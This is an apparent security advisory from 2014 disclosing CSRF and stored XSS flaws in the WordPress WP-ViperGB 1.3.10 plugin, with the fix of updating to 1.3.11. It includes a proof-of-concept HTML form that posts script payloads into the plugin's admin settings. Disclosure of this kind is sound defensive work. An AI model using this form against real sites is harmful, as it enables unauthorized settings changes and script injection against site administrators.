WordPress WP-ViperGB 1.3.10 CSRF / XSS

`Title: WordPress 'WP-ViperGB' plugin - CSRF/XSS  
Version: 1.3.10  
Author: Morten Nørtoft, Kenneth Jepsen, Mikkel Vej  
Date: 2014/12/12  
Download: https://wordpress.org/plugins/wp-vipergb/  
Notified WordPress: 2014/11/27  
----------------------------------------------------------------  
  
## Description:   
----------------------------------------------------------------  
WP-ViperGB is a WordPress plugin designed to replicate the appearance and behavior of the discontinued Viper Guestbook project. It makes it easy to add a stylish and user-friendly guestbook to your blog.  
  
## CSRF:  
----------------------------------------------------------------  
It is possible to change the plugins admin settings by tricking a logged in admin to visit a crafted page.   
  
  
## Stored XSS:  
----------------------------------------------------------------  
Some settings data from the admin page is stored unsanitized and shown on the plugin's admin page. This allows an attacker to perform XSS through the settings fields.   
  
  
PoC:  
Log in as admin to the vulnerable site and press the submit button on this form:  
  
<form method="POST" action="http://vuln.site/wp-admin/options-general.php?page=wp-vipergb">   
<input type="text" name="vgb_page" value="0&#x22;/&#x3E;&#x3C;script&#x3E;alert(1);&#x3C;/script&#x3E;"><br />  
<input type="text" name="vgb_style" value="Default"><br />  
<input type="text" name="vgb_items_per_pg" value="100&#x22;/&#x3E;&#x3C;script&#x3E;alert(2);&#x3C;/script&#x3E;"><br />  
<input type="text" name="vgb_show_browsers" value="1"><br />   
<input type="text" name="vgb_show_flags" value="1"><br />  
<input type="text" name="opts_updated" value="1"><br />  
<input type="text" name="Submit" value="Save"><br />  
<input type="submit">  
</form>  
  
  
## Solution  
----------------------------------------------------------------  
Update to version 1.3.11  
`